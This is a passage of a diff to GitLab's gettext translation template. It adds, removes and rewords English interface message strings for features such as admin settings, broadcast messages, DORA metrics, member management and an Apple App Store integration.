msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
